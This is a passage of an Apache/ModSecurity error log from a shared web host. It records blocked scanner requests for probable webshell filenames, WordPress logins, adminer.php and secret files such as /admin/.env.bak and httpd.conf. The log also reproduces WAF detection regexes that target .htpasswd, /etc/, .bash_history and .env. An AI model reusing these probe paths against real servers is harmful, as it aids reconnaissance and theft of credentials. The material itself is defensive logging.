647112] [client 45.86.200.38:63187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/f35.php"] [unique_id "ai3zpdyTkdrNlD40tSG7oQAAAGg"] [Sat Jun 13 18:19:49.532581 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.94:32168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:49.533032 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.94:32168] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:49.591062 2026] [security2:error] [pid 648189:tid 648339] [remote 17.22.245.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zpVWSojQL4F7upKB-lQAAm3Q"] [Sat Jun 13 18:19:49.595502 2026] [security2:error] [pid 648189:tid 648266] [remote 17.246.19.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zpVWSojQL4F7upKB-lgAA6iw"] [Sat Jun 13 18:19:49.673043 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.22:49586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:49.673382 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.22:49586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:49.985878 2026] [security2:error] [pid 646876:tid 646883] [remote 148.72.126.143:58436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.126.72.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "izubaplanners.com"] [uri "/wp-login.php"] [unique_id "ai3zpdyTkdrNlD40tSG7tgAAMAQ"] [Sat Jun 13 18:19:50.007064 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:19:50.007499 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:19:50.127022 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.2:23389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:50.127319 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.2:23389] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:50.135294 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:37190] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "httpd.conf"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/httpd.conf"] [unique_id "ai3zplWSojQL4F7upKB-wAAAAOs"] [Sat Jun 13 18:19:50.266106 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.110:20774] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:50.266409 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.110:20774] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:50.326391 2026] [security2:error] [pid 648189:tid 648368] [client 45.86.200.6:30759] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/simple.php"] [unique_id "ai3zplWSojQL4F7upKB-zQAAAJQ"] [Sat Jun 13 18:19:50.477648 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:19:50.477944 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:19:50.561125 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.88:35154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:50.561462 2026] [access_compat:error] [pid 648189:tid 648241] [remote 57.141.14.88:35154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:50.956222 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:50.956683 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:19:50.982032 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.94:32204] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:50.982466 2026] [access_compat:error] [pid 648189:tid 648349] [remote 57.141.14.94:32204] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:51.048843 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.94:32212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:51.049115 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.94:32212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:51.356779 2026] [security2:error] [pid 648189:tid 648444] [client 45.86.200.48:35227] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/amax.php"] [unique_id "ai3zp1WSojQL4F7upKB-_gAAAN4"] [Sat Jun 13 18:19:51.374913 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.27:60098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:51.375194 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.27:60098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:51.520866 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9wb3dlcg== [Sat Jun 13 18:19:51.521333 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9wb3dlcg== [Sat Jun 13 18:19:51.651207 2026] [proxy:error] [pid 646876:tid 647024] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:51.651295 2026] [proxy_http:error] [pid 646876:tid 647024] [client 185.247.137.34:50891] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:51.651881 2026] [proxy:error] [pid 646876:tid 647024] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:51.651912 2026] [proxy_http:error] [pid 646876:tid 647024] [client 185.247.137.34:50891] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:51.735886 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.94:32214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:51.736160 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.94:32214] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:51.780660 2026] [security2:error] [pid 648189:tid 648363] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/session/tests/session_regenerate_id_basic.phpt"] [unique_id "ai3zp1WSojQL4F7upKB_HAAAAI8"] [Sat Jun 13 18:19:51.833221 2026] [security2:error] [pid 648189:tid 648270] [remote 17.246.15.164:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 164.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zp1WSojQL4F7upKB_HgAA6jA"] [Sat Jun 13 18:19:51.864122 2026] [security2:error] [pid 646876:tid 646972] [remote 103.127.30.137:33876] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "whconsults.com"] [uri "/wp-login.php"] [unique_id "ai3zp9yTkdrNlD40tSG7wQAAPl0"] [Sat Jun 13 18:19:51.878031 2026] [security2:error] [pid 648189:tid 648416] [client 185.177.72.9:37190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/settings.php"] [unique_id "ai3zp1WSojQL4F7upKB_IAAAAMM"] [Sat Jun 13 18:19:52.088685 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:19:52.088981 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:19:52.096677 2026] [security2:error] [pid 648189:tid 648265] [remote 17.241.75.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zqFWSojQL4F7upKB_KgAAyys"] [Sat Jun 13 18:19:52.191602 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.90:55404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:52.191890 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.90:55404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:52.283040 2026] [security2:error] [pid 648189:tid 648402] [client 185.177.72.9:37200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/db.php"] [unique_id "ai3zqFWSojQL4F7upKB_NAAAALY"] [Sat Jun 13 18:19:52.546122 2026] [security2:error] [pid 646876:tid 646939] [remote 103.127.30.137:33876] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "whconsults.com"] [uri "/wp-login.php"] [unique_id "ai3zqNyTkdrNlD40tSG7zAAAezw"], referer: https://whconsults.com/wp-login.php [Sat Jun 13 18:19:52.602878 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:52.603317 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:52.706120 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.54:24055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:52.706554 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.54:24055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:52.766107 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.22:49604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:52.766382 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.22:49604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:52.850526 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:37210] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/admin/.env.bak"] [unique_id "ai3zqFWSojQL4F7upKB_SQAAAPU"] [Sat Jun 13 18:19:52.965551 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.30:55028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:52.966044 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.30:55028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:52.986675 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:37210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/adminer.php"] [unique_id "ai3zqFWSojQL4F7upKB_TgAAAMQ"] [Sat 